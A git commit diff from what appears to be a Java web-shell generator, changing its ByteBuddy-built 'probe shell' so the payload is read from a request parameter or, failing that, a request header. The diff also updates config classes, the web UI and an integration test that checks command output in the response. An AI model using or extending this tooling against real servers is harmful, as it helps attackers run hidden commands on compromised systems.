feat: support probe get payload from header by default

Author: ReaJason

boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java

@@ -21,7 +21,6 @@ static class ProbeContentConfigDTO {
         private String server;
         private String sleepServer;
         private String reqParamName;
-        private String reqHeaderName;
     }
 
     public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +34,6 @@ public ProbeContentConfig parseProbeContentConfig() {
                     .build();
             case ResponseBody -> ResponseBodyConfig.builder()
                     .reqParamName(probeContentConfig.reqParamName)
-                    .reqHeaderName(probeContentConfig.reqHeaderName)
                     .server(probeContentConfig.server)
                     .build();
             default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());

generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java

@@ -14,5 +14,4 @@
 public class ResponseBodyConfig extends ProbeContentConfig {
     private String server;
     private String reqParamName;
-    private String reqHeaderName;
 }

generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java

@@ -31,17 +31,8 @@ public ResponseBodyGenerator(ProbeConfig probeConfig, ResponseBodyConfig probeCo
 
     @Override
     protected DynamicType.Builder<?> build(ByteBuddy buddy) {
-        String name;
-        Class<?> getDataFromReqInterceptor;
-        if (probeContentConfig.getReqParamName() != null) {
-            name = probeContentConfig.getReqParamName();
-            getDataFromReqInterceptor = getDataFromReqParamInterceptor.class;
-        } else if(probeContentConfig.getReqHeaderName() != null) {
-            name = probeContentConfig.getReqHeaderName();
-            getDataFromReqInterceptor = getDataFromReqHeaderInterceptor.class;
-        }else{
-            throw new GenerationException("responseBody probeShell must set headerName or paramName");
-        }
+        String name = probeContentConfig.getReqParamName();
+        Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
         Class<?> writerClass = getWriterClass();
         Class<?> runnerClass = getRunnerClass();
         return buddy.redefine(writerClass)
@@ -95,26 +86,17 @@ private Class<?> getWriterClass() {
         }
     }
 
-    static class getDataFromReqHeaderInterceptor {
-        @Advice.OnMethodExit
-        public static void enter(@Advice.Argument(value = 0) Object request,
-                                 @NameAnnotation String name,
-                                 @Advice.Return(readOnly = false) String ret) throws Exception {
-            try {
-                ret = ((String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name}));
-            } catch (Exception e) {
-                ret = null;
-            }
-        }
-    }
-
-    static class getDataFromReqParamInterceptor {
+    static class getDataFromReqInterceptor {
         @Advice.OnMethodExit
         public static void enter(@Advice.Argument(value = 0) Object request,
                                  @NameAnnotation String name,
                                  @Advice.Return(readOnly = false) String ret) throws Exception {
             try {
-                ret = ((String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name}));
+                String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
+                if (p == null || p.isEmpty()) {
+                    p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
+                }
+                ret = p;
             } catch (Exception e) {
                 ret = null;
             }

integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java

@@ -92,7 +92,7 @@ public static void responseCommandIsOk(String url, String server, int targetJreV
         String headerName = "X-Header";
         ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
                 .server(server)
-                .reqHeaderName(headerName)
+                .reqParamName(headerName)
                 .build();
         ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
         String content = probeResult.getShellBytesBase64Str();

web/src/components/probeshell/main-config-card.tsx

@@ -57,7 +57,6 @@ const PROBE_METHOD_OPTIONS = [
 
 const DEFAULT_FORM_VALUES = {
   reqParamName: "payload",
-  reqHeaderName: "X-PAYLOAD",
   sleepServer: "Tomcat",
   seconds: 5,
 } as const;

web/src/pages/probeshell.tsx

@@ -53,7 +53,6 @@ export default function ProbeShellGenerator() {
       host: "",
       server: "Tomcat",
       reqParamName: "payload",
-      reqHeaderName: "X-PAYLOAD",
       seconds: 5,
       sleepServer: "Tomcat",
       shrink: true,

web/src/types/probeshell.ts

@@ -25,7 +25,6 @@ export interface ProbeContentConfig {
   sleepServer?: string;
   server?: string;
   reqParamName?: string;
-  reqHeaderName?: string;
 }
 
 export interface DNSLogConfig {
@@ -40,7 +39,6 @@ export interface SleepConfig {
 export interface ResponseBodyConfig {
   server: string;
   reqParamName: string;
-  reqHeaderName: string;
 }
 
 export interface PayloadFormValues {
@@ -52,7 +50,6 @@ export interface PayloadFormValues {
   host?: string;
   server?: string;
   reqParamName?: string;
-  reqHeaderName?: string;
   sleepServer?: string;
   seconds?: number;
   packingMethod: string;

web/src/types/schema.ts

@@ -145,7 +145,6 @@ export const probeShellFormSchema = yup.object().shape({
   host: yup.string().optional(),
   server: yup.string().optional(),
   reqParamName: yup.string().optional(),
-  reqHeaderName: yup.string().optional(),
   seconds: yup.number().optional(),
   sleepServer: yup.string().optional(),
   packingMethod: yup.string().required(),

web/src/utils/transformer.ts

@@ -63,7 +63,6 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
     sleepServer: formValue.sleepServer,
     server: formValue.server,
     reqParamName: formValue.reqParamName,
-    reqHeaderName: formValue.reqHeaderName,
   };
 
   return {